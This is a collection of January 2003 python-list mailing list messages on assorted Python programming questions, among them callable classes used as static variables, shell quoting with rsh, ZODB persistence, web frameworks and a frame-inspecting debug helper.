 > Is there any way of imitating "static" C function variables without
> having to
> define the variable as a global? I just want persistent function
> variables
> but i want them to be local to the function namespace. :S

Since you said 'imitate', yes.  Write a class with __init__() to
initialize the statics and __call__() to make the instances callible.
Don't get hung up on the use of 'class' instead of 'def' to introduce
the block, or the fact that 'class' can be used for more than just
writing a function with persistent local vars.  Example:

class hello:
  def __init__(self):
    self.cnt = 0
  def __call__(self):
    self.cnt += 1
    print "Hello, this is call number %d" % (self.cnt,)

>>> f=hello()
>>> f()
Hello, this is call number 1
>>> f()
Hello, this is call number 2
>>> f()
Hello, this is call number 3

Terry J. Reedy





From ryujin at libero.it  Tue Jan 14 04:32:28 2003
From: ryujin at libero.it (Matteo Memelli)
Date: Tue, 14 Jan 2003 09:32:28 GMT
Subject: C-ISAM
References: <pan.2003.01.12.12.12.55.655885@libero.it> <pan.2003.01.13.13.48.00.700934@gmx.de>
Message-ID: <pan.2003.01.14.09.32.26.741249@libero.it>

On Mon, 13 Jan 2003 14:48:02 +0100, Richard Sharp wrote:

> On Sun, 12 Jan 2003 12:13:18 +0000, Matteo Memelli wrote:
> 
>> Anybody knows if and how is it possible to access to C-ISAM files with
>> python? Is there any module or API to do that? Thx alot
>> 
>> Matte
> 
> If we are talking about the same thing, the short answer to your question
> is yes, but I suspect that there is no ready software for doing the job.
> For the Informix libraries I wrapped some C-Routine using SWIG and I can
> at least confirm that it works.
> 
> At the time, the company I worked for had a number of C-Programs that were
> actually used for accessing the database, so I didn't wrap the C_ISAM
> Routines directly but instead wrapped those (application specific)
> routines. But there should be no problem in wrapping the basic C-ISAM
> routines.
>

First of all, thx for your answer... :)
WHERE SHOULD I START? I've never worked on Informix Platform! Do I have to
find the set of routines you were talking about and then try to wrap them
using SWIG? Is it hard to find on the system the basic C-ISAM routines?
Sorry for the dumb question but I'm newbie on ISAM files...I always worked
on RDBMS.
thx
	Matte
 
> Richard Sharp




From DLNXPEGFQVEB at spammotel.com  Wed Jan  1 15:36:48 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Wed, 01 Jan 2003 22:36:48 +0200
Subject: Newbie Question: Giving names to Elements of List/Tuple/Dict
References: <mailman.1038570941.14619.python-list@python.org>
Message-ID: <68k61vgi1m79lefquucl2g2d70h7bijeku@4ax.com>

On 29 Nov 2002 19:56:44 +0800, rumours say that "Alfredo P. Ricafort"
<alpot at mylinuxsite.com> might have written:

>My question now is, how can I assign names to the elements? Or is there
>a better way of doing this?

If you have tuples that you want to access either through index or name,
then the following might help you:

http://groups.google.com/groups?selm=735o0vk4uciifl692o51fk9om87o37bo6k%404ax.com&oe=UTF-8
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From hansgeunsmeyer at earthlink.net  Wed Jan  1 22:45:26 2003
From: hansgeunsmeyer at earthlink.net (hg)
Date: 1 Jan 2003 19:45:26 -0800
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <auq0rq$1eje$1@nntp6.u.washington.edu> <ufzsf9r5o.fsf@boost-consulting.com>
Message-ID: <95959723.0301011945.1de4e653@posting.google.com>

Sorry, I pressed the sent button a bit too soon...
I meant to add:

It might be possible that such a callback function in B is called
asynchronously after Py_Finalize has tore down the interpreter, in
this case it's probably wise to also check if there is an interpreter
state.

Hans



From alloydflanagan at attbi.com  Thu Jan 30 14:14:13 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 30 Jan 2003 11:14:13 -0800
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com> <3E389466.8789FA1A@alcyone.com> <48633651.0301300317.174e5e1b@posting.google.com>
Message-ID: <a8b7f07a.0301301114.50398b86@posting.google.com>

migmog99 at hotmail.com (Andrew) wrote in message news:<48633651.0301300317.174e5e1b at posting.google.com>...
> ... I need the slash. Then it works. The thing is I've never been
> completely happy with my understanding of Unix quoting.
> 
> Can anyone explain why putting the slash in makes a difference?
> 
> 11:13:23$ rsh -n remote "./bad.py; echo $?; hostname"

It's a little confusing because you're dealing with two command
interpreters: the one you type the command into, and the one running
on the remote machine that executes your string.

Because your string is enclosed in double quotes, not single quotes,
the shell you type the command into is going to expand $?.  What the
remote machine sees is actually
./bad.py; echo 0; hostname

The \ (backslash) before the $ prevents the local shell from expanding
$?, so rsh gets
./bad.py; echo $?; hostname
and then the $? gets expanded by the remote shell.

Another way to prevent expansion of the $? construct is to enclose the
string in single quotes, like:
> 11:13:23$ rsh -n remote './bad.py; echo $?; hostname'
Single quotes prevent expansion of shell variables inside them.



From mwm at mired.org  Wed Jan  8 12:14:36 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 17:14:36 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org>
Message-ID: <x71y3nwolf.fsf@guru.mired.org>

Michal Vitecek <fuf at mageo.cz> writes:

>  hello everyone,
> 
>  i've encountered a strange problem with accessing a global variable
>  from imported module. the imported module (file imported.py) contains:
>  
> ---imported.py start---
>  def someFunction():
>     global GLOBAL_VARIABLE
> 
>     print GLOBAL_VARIABLE
> ---imported.py end---
> 
>  and now the session copy:
> 
> ---session start---
> Python 2.2.1 (#4, Sep  4 2002, 13:43:54) 
> [GCC 2.95.3 20010315 (release)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> GLOBAL_VARIABLE = 'some value'
> >>> from imported import *
> >>> dir()
> ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
> >>> someFunction()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "imported.py", line 4, in someFunction
>     print GLOBAL_VARIABLE
> NameError: global name 'GLOBAL_VARIABLE' is not defined
> >>> 
> ---session end---
> 
>  what's the problem here? it seems to me like this is a bug in python.

The global statement doesn't declare a variable, it tells the
interpreter to look in the global namespace for the variable. Since it
isn't there, the name is going to be undefined. Try doing
"GLOBAL_VARIABLE = 1" in your interpreter before you infoke
someFunction().

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From martin at v.loewis.de  Thu Jan 16 09:44:13 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 15:44:13 +0100
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net>
Message-ID: <m33cnt40jm.fsf@mira.informatik.hu-berlin.de>

Thomas Heller <theller at python.net> writes:

> Should this be considered a bug, or is it simply a wart, and reload
> should be avoided?

I think reloading a module should create a new module dictionary, even
though such a change may break existing usage of reload.

Regards,
Martin




From exarkun at intarweb.us  Fri Jan 31 11:16:36 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 31 Jan 2003 11:16:36 -0500
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <sOw_9.5158$nD1.1169113@news20.bellglobal.com>
References: <OXa_9.4120$nD1.943639@news20.bellglobal.com> <memo.20030130190756.116A@a.radioscape.com> <sOw_9.5158$nD1.1169113@news20.bellglobal.com>
Message-ID: <20030131161636.GC6656@meson.dyndns.org>

On Fri, Jan 31, 2003 at 10:46:51AM -0500, Luc wrote:
> [snip]
> >
> >There isn't a syntax error I can see. Until you run the string, python 
> >doesn't know that FOMath hasn't had a function called PointdddValue added 
> >to it. 
> 
> If I understand correctly, because Python is interpreted anything goes 
> for functions names and variables... until runtime. If such syntax error 
> is present the runtime will catch it. Right ???
> 

  Nope.  There really is *no* SyntaxError.  There will be an AttributeError
at runtime.  Both will prevent the program from running successfully, but
they are different kinds of errors.  SyntaxErrors are found at parse/compile
time, most other errors are only found at runtime.  Then, when the erroneous
function name is looked up, *at runtime*, it won't be found, and the
appropriate exception will be raised.

  Jp

-- 
C/C++/Java/Perl/Python/Smalltalk/PHP/ASP/XML/Linux (User+Admin)
Genetic Algorithms/Genetic Programming/Neural Networks
Networking/Multithreading/Legacy Code Maintenance/OpenGL
See my complete resume at http://intarweb.us:8080/
-- 
 up 46 days, 7:49, 5 users, load average: 0.55, 0.34, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/c55be49f/attachment.sig>

From bk at whack.org  Mon Jan 27 19:48:27 2003
From: bk at whack.org (Brian Kranson)
Date: 27 Jan 2003 16:48:27 -0800
Subject: sort by last then by first
Message-ID: <1964c4d7.0301271648.18dba0b3@posting.google.com>

is is possible to sort a list by one field and then by another field
in the list.  for example....

names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]

in this case i know i can do ...

>>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
>>> names.sort() #this will sort by last name
>>> print names
[['Flintstone', 'Fred'], ['Flintstone', 'Wilma'], ['Rubble',
'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Pebbles']]

and i know i can do ...

>>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
>>> names.sort(lambda a, b: cmp(a[1], b[1])) #this will sort by first
name
>>> print names
[['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
['Flintstone', 'Pebbles'], ['Flintstone', 'Wilma']]

but what i don't know is if this will always work.  seems like the
sort is what i am looking for, but i can't tell if it is by chance or
if my logic is correct.
i want to sort by last name then by first name.

thanks
Bk



From grayrest at grayrest.com  Mon Jan 27 21:22:08 2003
From: grayrest at grayrest.com (grayrest)
Date: Mon, 27 Jan 2003 21:22:08 -0500
Subject: PyXPCOM
In-Reply-To: <mailman.1043711595.19734.python-list@python.org>
References: <b113v7$npt1@rain.i-cable.com> <b14bl7$30$1@news-int.gatech.edu> <mailman.1043711595.19734.python-list@python.org>
Message-ID: <3E35E950.1090108@grayrest.com>

Trent Mick wrote:
> Not true, although I grant that it is difficult to get it building.
> This bug includes some necessary patches to get it to build with recent
> Mozilla source trees:
>     http://bugzilla.mozilla.org/show_bug.cgi?id=129216

Thanks for the info, I should have known to check bugzilla.
-- 
grayrest
http://grayrest.com/moz




From cpbotha at i_triple_e.org  Thu Jan  9 17:49:41 2003
From: cpbotha at i_triple_e.org (Charl P. Botha)
Date: Thu, 9 Jan 2003 22:49:41 +0000 (UTC)
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl>
Message-ID: <avkua5$ib0$1@news.tudelft.nl>

In article <3e1dfaaa$0$94297$e4fe514c at dreader4.news.xs4all.nl>, 
Boudewijn Rempt wrote:
> In my experience, PyQt, wxWindows and Tkinter Python apps all feel
> snappier and more responsive than the Swing apps I've worked with. On
> the other hand, Eclipse manages about the same 'feel' as the Python
> gui's qua speed.

Watch the Dutchisms... ;) "qua" in this sense doesn't seem to be as
colloquial in English as we would like: maybe "with regards to" would have
been more universally understandable. 

Kindest regards,
Charl

-- 
charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/



From inyeol.lee at siimage.com  Mon Jan 13 15:09:26 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Mon, 13 Jan 2003 12:09:26 -0800
Subject: String representation of an identifier's name
In-Reply-To: <67446a0a.0301121334.22fe0673@posting.google.com>
References: <67446a0a.0301121334.22fe0673@posting.google.com>
Message-ID: <20030113200926.GE733@siliconimage.com>

On Sun, Jan 12, 2003 at 01:34:47PM -0800, Boethius wrote:
> I think it easier to explain with an example, so here it goes:
> Assuming there's a function fn that does what I want, it would work like this:
> 
> g = 23
> foo = {'a':56}
> 
> fn(g) => 'g'
> fn(foo) => 'foo'
> 
> How can I write fn? O:-)
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Attached code is part of my debugging utils. Sometimes it
goes wrong, but I know why, so It's fine.

Inyeol Lee

---

def XXX(*args):
    """
    Print debug information on each argument.

    It parses source line to get the variable names passed to it.
    If two or more debug calls are in the same line, it may not work
    correctly since it cannot tell which is which. For example;

    >>> XXX(a, b["foo"], "hi")      ##  OK.
    >>> XXX(locals())               ##  OK. inspect all local variables.
    >>> XXX(a); XXX(b)              ##  Error!
    >>> XXX(XXX(a))                 ##  Error!
    """
    import tokenize

    ##  Get caller's stack frame.
    frame = sys._getframe(1)

    ##  Parse source line to get argument names of XXX_.
    depth = -1
    varname = ""
    varnames = []
    for tok in _getsrcline(frame, frame.f_lineno, tknize=True):
        if tok[0] == tokenize.NL:
        ##  Newline for breaking long statement ignored.
            continue
        if depth > 0:
        ##  Args of XXX_().
            if tok[0] == tokenize.OP:
                if depth == 1 and tok[1] in [",", ")"]:
                    varnames.append(varname)
                    varname = ""
                    if tok[1] == ")": break
                    else: continue
                elif tok[1] in ["(", "{", "["]:
                    depth += 1
                elif tok[1] in [")", "}", "]"]:
                    depth -= 1
            varname += tok[1]
        elif depth == 0:
        ##  Args tuple of function XXX_.
            if tok[0] == tokenize.OP and tok[1] == "(":
                depth = 1
            else:
                depth = -1
        elif tok[0] == tokenize.NAME and tok[1] == "XXX":
        ##  Start of function XXX_.
            depth = 0
    else:
        varnames = [""] * len(args)

    ##  Print debug information.
    sys.stderr.write("DEBUG: frame %s in '%s' at line %d\n" %
        (frame.f_code.co_name, frame.f_code.co_filename, frame.f_lineno))
    if not args:
        sys.stderr.write("  nothing to inspect.\n")
        return
    for arg in args:
        sys.stderr.write("  %s <%s> = %s\n" %
            (varnames.pop(0), arg.__class__.__name__, repr(arg)))

def _getsrcline(frame, lineno, tknize=False):
    """
    Return source line set by lineno of given stack frame.

    It is almost equivalent to 'traceback.extract_stack(frame)[3]', but
    returns complete statement, rather than the first physical line of it.
    If 'tknize' is True, it returns token list instead of raw source.
    """
    import linecache
    import tokenize

    ##  Get frame source from lineno to end of given frame.
    src = linecache.getlines(frame.f_code.co_filename)[lineno-1:]
    ##  To emulate file.readline() using list.pop().
    src.append("")
    src.reverse()
    ##  Tokenize source up to the first logical newline, which indicates
    ##  end of current statement.
    toks = []
    for tok in tokenize.generate_tokens(src.pop):
        toks.append(tok)
        if tok[0] == tokenize.NEWLINE: break
    ##  Return source line.
    if tknize:
        return toks
    return "".join([tok[1] for tok in toks])




From sandeep182 at hotmail.com  Sat Jan  4 17:00:35 2003
From: sandeep182 at hotmail.com (Sandeep Gupta)
Date: 4 Jan 2003 14:00:35 -0800
Subject: Blocking ctrl-c to os.popen() or os.system()
Message-ID: <d71cc7f6.0301041400.25c106c4@posting.google.com>

I am executing a command from python via os.popen().  While the
command is executing, if I type ctrl-c, the command receives the
interrupt.  I would like to block the ctrl-c from the command and I've
tried the following:

1)Using python's signal module to ignore SIGINT.  This causes python
to ignore SIGINT, but a ctrl-c that is typed during the popen() call
still goes to the command.

2)Adding "< /dev/null" to the os.popen() call.  This doesn't help.

3)Using popen2() and immediately closing the stdin file.  This also
doesn't work.

Any suggestions would be greatly appreciated!

Thanks
Sandeep



From narnett at mccmedia.com  Sun Jan 26 12:09:42 2003
From: narnett at mccmedia.com (Nick Arnett)
Date: Sun, 26 Jan 2003 09:09:42 -0800
Subject: December 2002 comp.lang.* stats
In-Reply-To: <20030126180125.G10804@prim.han.de>
Message-ID: <PHEDLIMPMIAGAEPEFBGCOEMAFCAA.narnett@mccmedia.com>

Nothing from my current work is up yet...  and probably won't be for a week
or two, at least.

--
Nick Arnett
Phone/fax: (408) 904-7198
narnett at mccmedia.com


> -----Original Message-----
> From: holger krekel [mailto:pyth at devel.trillke.net]
> Sent: Sunday, January 26, 2003 9:01 AM

...

> Wow, that sounds interesting.  Do you have any URL to look at or
> this is all closed?
>
> I would really enjoy statistics about various aspects of
> free softare projects without any "noise" from certain
> big companies.
>
>     holger





From zope at thewebsons.com  Sat Jan 11 09:54:14 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 10:54:14 -0400
Subject: Module Is Not Callable
Message-ID: <5.1.0.14.0.20030111105249.021bec00@mail.thewebsons.com>

Hi;
I have tested the following script and it works as long as I input it into 
the command prompt. But when I try and write it to a script, then call the 
script, I get the following error:

 >>> import test
 >>> import string
 >>> test()
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: 'module' object is not callable

Why?
TIA,
beno

Script follows...

"""
Testimonials.py
This script turns testimonials in individual files into drop-down select 
style boxes
that can be inserted into HTML pages. Said files must be located in the
*testimonials* folder (within a language folder if using Easy Cart) in your 
Web site
folder. The first line of each such file must contain *only* the name of 
the person
giving the testimony.
"""

import string

class Testimonials:
         count = 0
         lines = []
         allLines = ''
         countOne = 0
         clickForMore = 'no'
         def __init__(self):
                 total = 0
                 name = ''
                 readFile = []
                 self.readFile = open('test1','r')
                 while self.readFile.readline() != '':
                         self.count = self.count + 1
                 self.total = self.count
                 self.readFile.close()
         def firstRead(self):
                 self.readFile = open('test1','r')
                 self.name = self.readFile.readline()
                 self.count = self.count - 1
         def subsequentRead(self):
                 if self.count != 0:
                         self.lines.append(self.readFile.readline())
                         self.count = self.count - 1
                         self.subsequentRead()
                 else:
                         pass
         def firstLine(self):
                 self.allLines += self.lines[0]
         def subsequentLines(self):
                 if self.total > 2:
                         self.total = self.total - 1
                         self.countOne = self.countOne + 1
                         self.allLines += self.lines[self.countOne]
                         self.subsequentLines()
                 else:
                         table = string.maketrans('\n', ' ' )
                         self.allLines = string.translate(self.allLines,table)
         def formatLines(self):
                 wordlist = string.split(self.allLines)
                 ln = []
                 temp = ''
                 i = 0
                 while wordlist != []:
                         while (wordlist != [] and (len(temp) + 
len(wordlist[0])) < 40):
                                 temp = temp + wordlist[0] + ' '
                                 del wordlist[0]
                         ln.append(temp)
                         temp = ''
                         if i == 0:
                                 if self.clickForMore == 'no':
                                         self.theTestimonial = '<select>\n 
<option value="pass">See what ' \
                                                 + self.name[:-1] + ' has 
to say!</option>\n <option ' + \
                                                 'value="pass">&#xa0;</option>\n'
                                 else:
                                         self.theTestimonial = '<select 
name=testimonial onChange="' + \
                                                 'testimonials(this.form)">\n 
<option value="pass">' + 'See what ' \
                                                 + self.name[:-1] + ' has 
to say!</option>\n <option value="pass">' + \
                                                 '&#xa0;</option>\n'
                                 self.theTestimonial += ' <option 
value="pass">' + ln[i] \
                                                         + '</option>\n'
                         else:
                                 self.theTestimonial += ' <option 
value="pass">' + ln[i] + '</option>\n'
                         i += 1
         def endTag(self):
                 if self.clickForMore == 'no':
                         self.theTestimonial += ' <option 
value="pass">&#xa0;</option>\n' + \
                                                 ' <option value="pass">' + 
self.name + '</option>\n</select>'
                 else:
                         self.theTestimonial += ' <option 
value="pass">&#xa0;</option>\n' + \
                                                 ' <option value="pass">' + 
self.name + '</option>\n' + \
                                                 ' <option 
value="pass">&#xa0;</option>\n'
                         self.theTestimonial += ' <option 
value="pass">CLICK FOR MORE' + \
                                                 ' 
TESTIMONIALS!</option>\n</select>'
         def printit(self):
                         print self.theTestimonial

def test():
         f = Testimonials()
         f.firstRead()
         f.subsequentRead()
         f.firstLine()
         f.subsequentLines()
         f.formatLines()
         f.endTag()
         f.printit()








From abelikov72 at hotmail.com  Fri Jan 24 05:30:48 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Fri, 24 Jan 2003 10:30:48 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org>
Message-ID: <ba523vo5buee81j61aj3q26c3bq8lun9na@4ax.com>

On 23 Jan 2003 15:57:33 -0600, Ian Bicking <ianb at colorstudy.com> wrote:

>On Mon, 2003-01-20 at 11:16, Afanasiy wrote:
>> * Run on the same hardware I use currently
>
>Yes, so long as you can run long-running processes.  Most commercial
>shared-hosting situations don't allow this.  This applies to all Python
>frameworks except when accessed strictly through CGI, which will give
>you atrocious performance.

Webware is it's own daemon which would run behind Apache?
So..., stability depends on another daemon, one with much
less testing than Apache? Does it use lots of 3rd party
Python modules/code to provide this daemon?

>> * Be as fast or faster than Apache+PHP
>>   (I'm sorry to say Zope/Roxen are not)
>>   (This might mean it must use Apache)
>
>Probably comparable speed.  It's definitely faster than Zope.  We
>haven't encountered people who have felt limited by the speed of Webware
>(as compared to bandwidth limitations, database, etc).  But that might
>just be because people aren't using in situations where it would be a
>problem.

Hmm.

>> * Allow all errors to be caught and handled so users never see them
>>   (I currently send them to an email address)
>>   (Users are notified an error occurred and a developer contacted)
>
>Yep.

With a global handler or pasting in your
try except handling block every page?

>> * Allow similarly powerful regex capabilities
>>   (I currently use PHP's pcre module)
>
>Again, using Python's re module (IMHO much easier to use than in PHP).

Can you elaborate? I use PHP's heredoc syntax for my complex regex.

>I believe there's ways to do this with Apache while using Webware.  But
>you can (in effect) do this in Webware fairly easily.  Each page of a
>Webware application is a separate class.  Generally there will be a
>superclass that you write that is specific to your application.  In it
>you can put a header and footer, and those can be as dynamic as you
>choose. 

Where does this class live? Do I have to edit .htaccess every time
I create a new page, I saw that in the mod_python documentation.
I am aware of different connectors, but mod_python looks likely.



From max at alcyone.com  Tue Jan  7 22:00:42 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Jan 2003 19:00:42 -0800
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org>
		 <x7y9607rmn.fsf@guru.mired.org> <m3d6n93p28.fsf@drizzle.com> <3E1B04CB.6C63ADE1@gol.ge>
Message-ID: <3E1B945A.12CBC376@alcyone.com>

Giorgi Lekishvili wrote:

> asynchroneous? 'Cause I am afraid I havn't understand how to make
> synchronization
> work with ThreadingTCPServer:(((

For server work, asynchronous I/O is the alternative to multithreading
or process forking (in the rare cases where forking will suffice). 
Asynchronous I/O really just means you use a select loop and handle each
request as quickly as possible.  There are all sorts of frameworks which
make this easier, such as asyncore/Medusa, Twisted, etc.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nobody can reach me, nobody can touch me; it's a wonderful feeling.
\__/ Aaliyah
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From python at dylanreinhardt.com  Fri Jan 10 14:03:29 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Fri, 10 Jan 2003 11:03:29 -0800
Subject: ZODB: don't like self._p_changed
In-Reply-To: <avjrhb$heh$04$1@news.t-online.com>
References: <avjfop$tmb$00$1@news.t-online.com>
 <3E1D4756.7040406@mxm.dk>
 <avjj10$oe7$03$1@news.t-online.com>
 <DVdT9.32468$Hl6.3351656@news010.worldonline.dk>
Message-ID: <5.1.1.6.0.20030110104958.02c86d18@www.dylanreinhardt.com>

There's no way changing Python built-ins is preferable.

What you *should* do is initialize *all* your list/dict subobjects using 
PersistentList and PersistentMapping.   Now, every time you make a change 
to self.something, you know it gets persisted.  Easy enough to keep track 
of, yes?

More the point, leaving the built-ins alone means that using them as local 
variables won't trigger persistence.  It shouldn't, after all.  ZODB bloats 
very quickly if you over-use persistence.

If it's the syntax you don't like, another thing you can do is define:

def save(self):
     self._p_changed = 1

and then call self.save() at the end of any methods that change 
subobjects.  Just a bit of sugar, perhaps, but I find it far more readable 
than making an assignment to a private inherited attribute.

HTH,

Dylan



At 04:58 AM 1/9/2003, you wrote:
>Max M schrieb:
>>Thomas Guettler wrote:
>>
>>>Max M schrieb:
>>
>>>>Probably not. How should an object know if a mutable subobject has been 
>>>>changed?
>>>
>>>
>>>The method "append" could set the flag.
>>
>>Then you would need to use specialized objects instead of the built in 
>>objects. That would shurely be more cumbersome than setting the 
>>persistence flag?
>
>Yes, there a classes like PersistentList and PersistentMapping, but
>this means I need to change my code.
>
>Example:
>
>my_list=PersistentList()
>my_list.append(...)
>
>my_list=some_other_list[1:] # now my_list is no more a persistent list
>
>This means, I always need to keep in mind if a list is a peristent list
>or not. That's like setting _p_changed=1.
>
>1. Solution:
>
>One solution could be to change the meaning of [] and {}.
>Dreaming:
>
>import list_persistance
>foo=[] # foo is now a persistent list.
>
>I don't know if this is possible.
>
>
>2. Solution:
>Change the functions of list and mapping datatypes to set _p_changed if 
>the content was changed. This might decrease performance for nonpersistent 
>application. But since there changes need to be implemented in the python 
>core, they would be in C.
>
>thomas
>
>--
>http://mail.python.org/mailman/listinfo/python-list





From peterwu at hotmail.com  Tue Jan  7 23:37:15 2003
From: peterwu at hotmail.com (Peter Wu)
Date: Wed, 8 Jan 2003 12:37:15 +0800
Subject: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org> <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au>
Message-ID: <avg9tu$f1rlb$1@ID-117651.news.dfncis.de>

In article
<Pine.GSO.4.21.0301081443160.4782-100000 at supreme.pcug.org.au>, Avery
Andrews wrote:

> How does this play out in places that don't recognize software
> patents, especially where the local government is not interested in
> promoting the dominance of M$?  'twould be odd for USA-ans to be
> looking to Latin America and China for the defense of freedom, but
> such is life ...

No politics, please.

--
Cheers, Peter





From andrew at indranet.co.nz  Sun Jan  5 07:22:11 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 01:22:11 +1300
Subject: Emacs and ELSE
In-Reply-To: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com>
References: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com>
Message-ID: <2094030000.1041769331@localhost.localdomain>

It should say ELSE in the modeline.

The docs kind of assume you already know emacs.

Once you have the ELSE files in your load path, you need:

(require 'else-mode)
(add-hook 'python-mode-hook 'else-mode)

in your .emacs to automagically get ELSE turned on for python, and similar 
add-hooks for the other languages it supports if you use those.

Then if you open a new .py file, ELSE will insert a tag like

{compilation unit}

for you at the top of the buffer.  Point at it and type C-c / e and ELSE 
will expand it into the template for a python file.  If there are 
alternative templates any time you type that key sequence, ELSE pops up a 
menu to select them from.  Emacs can also parse the provided else.info file 
for you so you can navigate the docs, and always remember that C-h m lists 
the current keybindings for all active modes in the current buffer!

(if you didn't have the add-hook, you could go M-x else-mode RET to 
manually start ELSE in the current buffer)

Andrew

--On Sunday, January 05, 2003 02:49:05 +0100 Dialtone 
<"dialtone/#NOSPAM#\\"@aruba.it> wrote:

> Hi all. After reading the very long thread about Python editors under
> linux (and maybe also under windows), I've been trying out Emacs (I
> already know how to use Vim and GVim, and I may say I love them)...
>
> The main reason I'm trying emacs is because of the possibility to
> lauch the inpterpreter inside Emacs without external apps working and
> ELSE...
>
> Well... I've followed all the instructions in both
> www.python.org/emacs/python-mode
> and
> http://www.zipworld.com.au/~peterm/
>
> but I don't know if ELSE is working...
> How can I know this?
>
> anyway... I found only a sample.emacs file in my Xemacs/etc
> directory... since I did not find anything else I started with that
> one and at the end renamed it .emacs. It should be good anyway right?
>
> thx for the answers.
> --
> try: troll = "Brain"
> except TypeError, data:
>    troll.plonk()
> Co-Responsabile Hardware Information & Technology http://hit.edengames.net
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From judoscript at hotmail.com  Thu Jan  9 00:16:20 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 21:16:20 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org>
Message-ID: <52719db8.0301082116.50572416@posting.google.com>

Dave Brueck <dave at pythonapocrypha.com> wrote in message news:<mailman.1042038801.29977.python-list at python.org>...
> On Tue, 7 Jan 2003, James Huang wrote:
> 
> > > Could you please explain how scripting, e.g. ActiveX (per the article on
> > > your site) is any better (heck, any _different_ for that matter) than
> > > doing it in, e.g. Python? I looked at the example code and it is nearly
> > > identical to the Python equivalent (well, I only looked at the Internet
> > > Explorer example - once I saw that it was virtually identical to the
> > > Python version I stopped reading).
> > >
> >
> > Python for ActiveX is a right thing, and this creates another
> > variant of Python. Another famous one is Jython.
> 
> Not at all. It's not "Python for ActiveX" - it's the standard version of
> Python being used to script ActiveX; it's definitely not some variant of
> Python or special build of it or something.
> 

I probably confused AXScript with what you described. I still haven't
got the exact documentation on this topic (scripting COM/ActiveX in
Python), but nevertheless I take your words for it, since you can load
an extension DLL somehow which can wrap COM/ActiveX components as
native Python objects and voila. But I was right about Jython (which
has nothing wrong with Jython but is a Python language
extension/variant).

> Not that big of a deal, except that ISTM that references to Python on your
> site seem to be inaccurate, that's all. In this specific case, the message
> I got from your documentation was that Judoscript was particularly
> well-suited for these tasks (like scripting ActiveX) but I'm having
> trouble seeing how, or for that matter, seeing that it is even different
> at all except for some minor syntactical differences. There's nothing
> wrong with taking the position that some new tool adds value, I guess I'm
> just not "getting it" though.
> 

You are probably right about the (minor?) inaccuracies whatsoever on
my site about Python, but you totally missed what JudoScript is about:
it's not about syntax. I couldn't care less about so many discussions
about differences between Python and Java and C++ and SmallTalk and
... even beyond syntax level. JudoScript is about direct-ness. I'll
explain in other replies (sorry, too many to respond; got myself into
it so I deserve it:) )

> > > I got a kick out of this statement on your site:
> > >
> > > "which is a much better effort than Python libraries because Java is an
> > > established system programming language , designed for and capable of
> > > building big software applications"
> > >
